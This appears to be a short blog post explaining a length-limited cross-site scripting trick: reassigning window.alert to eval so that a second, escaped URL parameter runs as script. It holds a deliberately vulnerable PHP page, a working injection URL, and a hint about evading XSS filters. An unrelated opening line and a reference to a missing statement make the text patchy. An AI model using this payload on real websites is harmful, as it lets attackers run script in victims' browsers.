This clip from 1983 allows us a glimpse into the history of computer crime. Much of what is being said still sounds familar today, doesn’t it?
somefunction = otherfunction;
somewhere in a script makes somefunction a reference to otherfunction. This works with functions of the built-in API, too, so any function can become eval:
alert = eval;
window.alert = eval;
So if you can inject a small amount of script somewhere, and a function parameter elsewhere, you can turn the function that happens to be called into the eval you need. This PHP fragment illustrates the approach:
<?php // XSS vulnerability limited to 35 characters print substr($_GET["inject1"], 0, 35); ?> <script> // URL parameter goes into a seemingly harmless function - which we // can redefine to become eval <?php $alertparam = htmlspecialchars(addslashes($_GET["inject2"]), ENT_COMPAT ); ?> alert('<?=$alertparam?>'); </script>
The first PHP block allows up to 35 characters to be injected into the page unfiltered through the inject1 URL parameter, just enough to add to the page this statement:
To see it work, put the PHP code on your web server and call it with a URL like this:
xss.php?inject1=<script>window.alert=eval;</script>&inject2=prompt('Did you expect this? (Yes/No)');
This works fine with Firefox 9 and, if XSS filter is disabled, IE 9. Safari 5.1.2 silently blocks the exploit, telling me about it only in debug mode. If you really need to, you’ll probably find an evasion technique against client-side XSS filters. IE seems to need window.alert, while Firefox is happy with just alert in inject1.